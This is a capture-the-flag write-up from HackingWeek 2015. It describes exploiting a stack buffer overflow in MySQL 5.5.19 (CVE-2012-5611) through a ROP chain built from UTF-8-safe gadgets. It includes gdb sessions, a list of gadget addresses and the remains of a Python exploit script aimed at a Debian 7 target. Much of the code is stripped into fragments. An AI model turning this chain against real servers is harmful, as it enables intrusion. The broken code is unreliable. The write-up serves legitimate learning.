(HackingWeek 2015) MySQL CVE-2012-5611
Identification
It was not originaly intended for the first (“exploit 4”), but it was possible to
read the flag via LOAD DATA
(since the user had the FILE
privilege). So they
added the “exploit 6” challenge, without this possibility. Six challenges instead of
four!
First thing to do: get a clean debug environment. Copy all the files somewhere
in /tmp/
, and edit the mysqld.cnf
file to change the path of the
mysqld
socket.
guest@ns314076:/tmp/foo$ gdb ./mysql-5.5.19-linux2.6-i686/bin/mysqld -q
Reading symbols from /tmp/foo/mysql-5.5.19-linux2.6-i686/bin/mysqld...done.
(gdb) r --defaults-file=./mysqld.cnf
Starting program: /tmp/foo/mysql-5.5.19-linux2.6-i686/bin/mysqld --defaults-file=./mysqld.cnf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
[New Thread 0xb7df1b70 (LWP 31351)]
[Thread 0xb7df1b70 (LWP 31351) exited]
[New Thread 0xb7df1b70 (LWP 31352)]
[New Thread 0xadfb0b70 (LWP 31353)]
[New Thread 0xad7afb70 (LWP 31354)]
[New Thread 0xacfaeb70 (LWP 31355)]
[...]
All right! We already know that a PoC exists for this version of MySQL
(cheers kingcope!). I was behind an school firewall; I had no access to the port 3306. So
I used the paramiko
python package to connect to the server via SSH and execute
my SQL query from the command line (the code is at the end of this writeup).
Running the PoC gives us:
#0 0xb7f168fb in ?? from /lib/i386-linux-gnu/i686/cmov/libc.so.6
#1 0x0814b974 in at
/export/home/pb2/build/sb_0-4399296-1322061984.01/mysql-5.5.19/sql/sql_acl.cc:1599
And we have Github to diff easily: 5.5.19 and 5.5.29.
We spot this new line:
if
Uh. It's now clear that the vulnerability is located here :
end=;
The buffer of size ACL_KEY_LENGTH (98) is filled with the values key
, user
and db
. As we saw in the PoC, we control the value of db
and no check is made
about the size of the final string before MySQL 5.5.29.
Exploitation
No stack cookies, ASLR is not enabled but NX is. Since the SQL query is parsed by MySQL, any char in our popchain has to be valid UTF-8 and no NULL
bytes.
The mysqld
binary is pretty large, so we can expect to find some gadgets
with "good" addresses! I used ROPGadget
and sorted the result with a small script, to get only addresses with the correct
format. The two conditions are the following: every byte of the address have to
be lower than 0x80
(U+0000 to U+007F) OR a valid multi-byte sequence.
I tried the easiest way, the first condition:
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
=
print
Got 14545 gadgets! The only write-what-where is with eax
, followed by a pop ebp
.
By chance, there is a lot of xchg eax, *
gadgets that can be used this to control
our registers. We'll have to increment eax
for the int 0x80
, since we can't have
NULL bytes in the string.
After some regexes, I selected the following gadgets:
= 0x087e4b57
= 0x086d5039
= 0x086e136a
= 0x084e3062
= 0x087c3223
= 0x08405331
= 0x08061234
= 0x09090909
To confirm that I did not missed something about the initial state of the memory, I tried the following ropchain:
And I got the following state:
(gdb) i r
eax 0x9090909 151587081
ecx 0x3 3
edx 0x0 0
ebx 0x41414141 1094795585
esp 0xa9775098 0xa9775098
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x41414141 1094795585
eip 0x88c8f00 0x88c8f00
eflags 0x10286 [ PF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/4x 0x09090909
0x9090909: 0x41 0x41 0x41 0x41
We only need to prepare the script at /tmp/xxx
that will be executed by mysqld
to read the flag:
#!/bin/sh
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
= 0x087e4b57
= 0x086d5039
= 0x086e136a
= 0x084e3062
= 0x087c3223
= 0x08405331
= 0x08061234
= 0x086d0d0e
= 0x08240d14
= 0x09090939
= 0x09090941 + 2
return
# Debian 7 target, with MySQL 5.5.19
=
=
+= *
+=
+=
+=
+=
return
=
= + +
print
=
=
, , print +
print +